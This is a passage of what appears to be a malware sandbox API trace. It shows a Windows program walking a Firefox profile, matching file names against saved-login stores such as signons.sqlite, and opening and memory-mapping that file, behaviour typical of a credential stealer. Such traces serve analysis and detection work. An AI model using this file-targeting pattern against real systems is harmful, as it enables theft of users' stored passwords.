lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\" [0070.944] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\", lpString2="idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.944] LocalFree (hMem=0x65e540) returned 0x0 [0070.944] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.944] lstrlenA (lpString="\\*.*") returned 4 [0070.944] LocalAlloc (uFlags=0x40, uBytes=0xf1) returned 0x626a88 [0070.944] lstrcpyA (in: lpString1=0x626a88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.944] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*" [0070.944] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\*.*", lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 0x6427e8 [0070.944] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.944] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0070.945] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.945] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.945] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0070.945] lstrcmpiA (lpString1=".", lpString2="818200132aebmoouht") returned -1 [0070.945] lstrcmpiA (lpString1="..", lpString2="818200132aebmoouht") returned -1 [0070.945] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned 108 [0070.945] lstrlenA (lpString="\\") returned 1 [0070.945] LocalAlloc (uFlags=0x40, uBytes=0xee) returned 0x65e540 [0070.945] lstrcpyA (in: lpString1=0x65e540, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb" [0070.945] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.945] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned 109 [0070.945] lstrlenA (lpString="818200132aebmoouht") returned 18 [0070.945] LocalAlloc (uFlags=0x40, uBytes=0x100) returned 0x626b88 [0070.945] lstrcpyA (in: lpString1=0x626b88, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\" [0070.945] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\", lpString2="818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.945] LocalFree (hMem=0x65e540) returned 0x0 [0070.945] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned 127 [0070.945] lstrlenA (lpString="\\*.*") returned 4 [0070.945] LocalAlloc (uFlags=0x40, uBytes=0x104) returned 0x601890 [0070.945] lstrcpyA (in: lpString1=0x601890, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht" [0070.945] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*" [0070.945] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\indexedDB\\moz-safe-about+home\\idb\\818200132aebmoouht\\*.*", lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 0x642828 [0070.945] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.945] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 1 [0070.945] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.945] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.945] FindNextFileA (in: hFindFile=0x642828, lpFindFileData=0x12f33e | out: lpFindFileData=0x12f33e) returned 0 [0070.945] FindClose (in: hFindFile=0x642828 | out: hFindFile=0x642828) returned 1 [0070.945] LocalFree (hMem=0x601890) returned 0x0 [0070.945] LocalFree (hMem=0x626b88) returned 0x0 [0070.946] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 1 [0070.946] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.946] lstrlenA (lpString="818200132aebmoouht.sqlite") returned 25 [0070.946] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons.txt") returned 0x0 [0070.946] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.946] StrStrIA (lpFirst="818200132aebmoouht.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.946] FindNextFileA (in: hFindFile=0x6427e8, lpFindFileData=0x12f4a6 | out: lpFindFileData=0x12f4a6) returned 0 [0070.946] FindClose (in: hFindFile=0x6427e8 | out: hFindFile=0x6427e8) returned 1 [0070.946] LocalFree (hMem=0x626a88) returned 0x0 [0070.946] LocalFree (hMem=0x65e730) returned 0x0 [0070.946] FindNextFileA (in: hFindFile=0x6427a8, lpFindFileData=0x12f60e | out: lpFindFileData=0x12f60e) returned 0 [0070.946] FindClose (in: hFindFile=0x6427a8 | out: hFindFile=0x6427a8) returned 1 [0070.947] LocalFree (hMem=0x65e638) returned 0x0 [0070.947] LocalFree (hMem=0x65e448) returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0070.947] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.947] LocalFree (hMem=0x641518) returned 0x0 [0070.947] LocalFree (hMem=0x65b348) returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.947] StrStrIA (lpFirst="key3.db", lpSrch="signons.sqlite") returned 0x0 [0070.947] lstrlenA (lpString="key3.db") returned 7 [0070.947] StrStrIA (lpFirst="key3.db", lpSrch="signons.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="key3.db", lpSrch="signons2.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="key3.db", lpSrch="signons3.txt") returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.947] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.947] lstrlenA (lpString="localstore.rdf") returned 14 [0070.947] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons2.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="localstore.rdf", lpSrch="signons3.txt") returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.947] StrStrIA (lpFirst="marionette.log", lpSrch="signons.sqlite") returned 0x0 [0070.947] lstrlenA (lpString="marionette.log") returned 14 [0070.947] StrStrIA (lpFirst="marionette.log", lpSrch="signons.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="marionette.log", lpSrch="signons2.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="marionette.log", lpSrch="signons3.txt") returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.947] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.sqlite") returned 0x0 [0070.947] lstrlenA (lpString="mimeTypes.rdf") returned 13 [0070.947] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons2.txt") returned 0x0 [0070.947] StrStrIA (lpFirst="mimeTypes.rdf", lpSrch="signons3.txt") returned 0x0 [0070.947] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.947] lstrcmpiA (lpString1=".", lpString2="minidumps") returned -1 [0070.947] lstrcmpiA (lpString1="..", lpString2="minidumps") returned -1 [0070.947] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.947] lstrlenA (lpString="\\") returned 1 [0070.947] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.947] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.947] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.947] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.947] lstrlenA (lpString="minidumps") returned 9 [0070.947] LocalAlloc (uFlags=0x40, uBytes=0xd5) returned 0x65b348 [0070.947] lstrcpyA (in: lpString1=0x65b348, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.947] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.948] LocalFree (hMem=0x6275a8) returned 0x0 [0070.948] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned 84 [0070.948] lstrlenA (lpString="\\*.*") returned 4 [0070.948] LocalAlloc (uFlags=0x40, uBytes=0xd9) returned 0x641518 [0070.948] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps" [0070.948] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps", lpString2="\\*.*" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*" [0070.948] FindFirstFileA (in: lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\minidumps\\*.*", lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0x642768 [0070.948] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0070.948] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 1 [0070.948] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0070.948] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0070.948] FindNextFileA (in: hFindFile=0x642768, lpFindFileData=0x12f776 | out: lpFindFileData=0x12f776) returned 0 [0070.948] FindClose (in: hFindFile=0x642768 | out: hFindFile=0x642768) returned 1 [0070.948] LocalFree (hMem=0x641518) returned 0x0 [0070.948] LocalFree (hMem=0x65b348) returned 0x0 [0070.948] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.948] StrStrIA (lpFirst="parent.lock", lpSrch="signons.sqlite") returned 0x0 [0070.948] lstrlenA (lpString="parent.lock") returned 11 [0070.948] StrStrIA (lpFirst="parent.lock", lpSrch="signons.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="parent.lock", lpSrch="signons2.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="parent.lock", lpSrch="signons3.txt") returned 0x0 [0070.948] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.948] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.948] lstrlenA (lpString="permissions.sqlite") returned 18 [0070.948] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="permissions.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.948] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.948] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.sqlite") returned 0x0 [0070.948] lstrlenA (lpString="places.sqlite") returned 13 [0070.948] StrStrIA (lpFirst="places.sqlite", lpSrch="signons.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="places.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="places.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.948] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.948] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.sqlite") returned 0x0 [0070.948] lstrlenA (lpString="pluginreg.dat") returned 13 [0070.948] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons2.txt") returned 0x0 [0070.948] StrStrIA (lpFirst="pluginreg.dat", lpSrch="signons3.txt") returned 0x0 [0070.948] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.948] StrStrIA (lpFirst="prefs.js", lpSrch="signons.sqlite") returned 0x0 [0070.948] lstrlenA (lpString="prefs.js") returned 8 [0070.948] StrStrIA (lpFirst="prefs.js", lpSrch="signons.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="prefs.js", lpSrch="signons2.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="prefs.js", lpSrch="signons3.txt") returned 0x0 [0070.949] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.949] StrStrIA (lpFirst="search.json", lpSrch="signons.sqlite") returned 0x0 [0070.949] lstrlenA (lpString="search.json") returned 11 [0070.949] StrStrIA (lpFirst="search.json", lpSrch="signons.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="search.json", lpSrch="signons2.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="search.json", lpSrch="signons3.txt") returned 0x0 [0070.949] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.949] StrStrIA (lpFirst="secmod.db", lpSrch="signons.sqlite") returned 0x0 [0070.949] lstrlenA (lpString="secmod.db") returned 9 [0070.949] StrStrIA (lpFirst="secmod.db", lpSrch="signons.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="secmod.db", lpSrch="signons2.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="secmod.db", lpSrch="signons3.txt") returned 0x0 [0070.949] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.949] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.sqlite") returned 0x0 [0070.949] lstrlenA (lpString="sessionstore.bak") returned 16 [0070.949] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons2.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="sessionstore.bak", lpSrch="signons3.txt") returned 0x0 [0070.949] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.949] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.sqlite") returned 0x0 [0070.949] lstrlenA (lpString="sessionstore.js") returned 15 [0070.949] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons2.txt") returned 0x0 [0070.949] StrStrIA (lpFirst="sessionstore.js", lpSrch="signons3.txt") returned 0x0 [0070.949] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.949] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.sqlite") returned="signons.sqlite" [0070.949] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned 74 [0070.949] lstrlenA (lpString="\\") returned 1 [0070.949] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x6275a8 [0070.949] lstrcpyA (in: lpString1=0x6275a8, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default" [0070.949] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default", lpString2="\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.949] lstrlenA (lpString="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned 75 [0070.949] lstrlenA (lpString="signons.sqlite") returned 14 [0070.949] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x641518 [0070.949] lstrcpyA (in: lpString1=0x641518, lpString2="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\" [0070.949] lstrcatA (in: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\", lpString2="signons.sqlite" | out: lpString1="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" [0070.949] LocalFree (hMem=0x6275a8) returned 0x0 [0070.949] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0070.949] CloseHandle (hObject=0x14d) returned 1 [0070.949] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x5b [0070.949] LocalAlloc (uFlags=0x40, uBytes=0xdb) returned 0x626a88 [0070.949] ExpandEnvironmentStringsA (in: lpSrc="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite", lpDst=0x626a88, nSize=0x5b | out: lpDst="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite") returned 0x5a [0070.949] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0070.950] CloseHandle (hObject=0x14d) returned 1 [0070.950] CreateFileA (lpFileName="C:\\Users\\EEBsYm5\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\h231daer.default\\signons.sqlite" (normalized: "c:\\users\\eebsym5\\appdata\\roaming\\mozilla\\firefox\\profiles\\h231daer.default\\signons.sqlite"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x14c [0070.950] GetFileSize (in: hFile=0x14d, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x50000 [0070.950] CreateFileMappingA (hFile=0x14c, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x154 [0070.950] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x16d0000 [0070.952] UnmapViewOfFile (lpBaseAddress=0x16d0000) returned 1 [0070.955] CloseHandle (hObject=0x154) returned 1 [0070.955] CloseHandle (hObject=0x14c) returned 1 [0070.955] LocalFree (hMem=0x626a88) returned 0x0 [0070.955] LocalFree (hMem=0x641518) returned 0x0 [0070.955] lstrlenA (lpString="signons.sqlite") returned 14 [0070.955] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons2.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="signons.sqlite", lpSrch="signons3.txt") returned 0x0 [0070.955] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.955] StrStrIA (lpFirst="times.json", lpSrch="signons.sqlite") returned 0x0 [0070.955] lstrlenA (lpString="times.json") returned 10 [0070.955] StrStrIA (lpFirst="times.json", lpSrch="signons.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="times.json", lpSrch="signons2.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="times.json", lpSrch="signons3.txt") returned 0x0 [0070.955] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.955] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.sqlite") returned 0x0 [0070.955] lstrlenA (lpString="urlclassifierkey3.txt") returned 21 [0070.955] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons2.txt") returned 0x0 [0070.955] StrStrIA (lpFirst="urlclassifierkey3.txt", lpSrch="signons3.txt") returned 0x0 [0070.956] FindNextFileA (in: hFindFile=0x642728, lpFindFileData=0x12f8de | out: lpFindFileData=0x12f8de) returned 1 [0070.956] lstrcmpiA (lpString1=".", lpString2="webapps") returned -1 [0070.956] lstrcmpiA (lpString1="..", lpString2="webapps") returned -1 [0070.956] lstrlenA 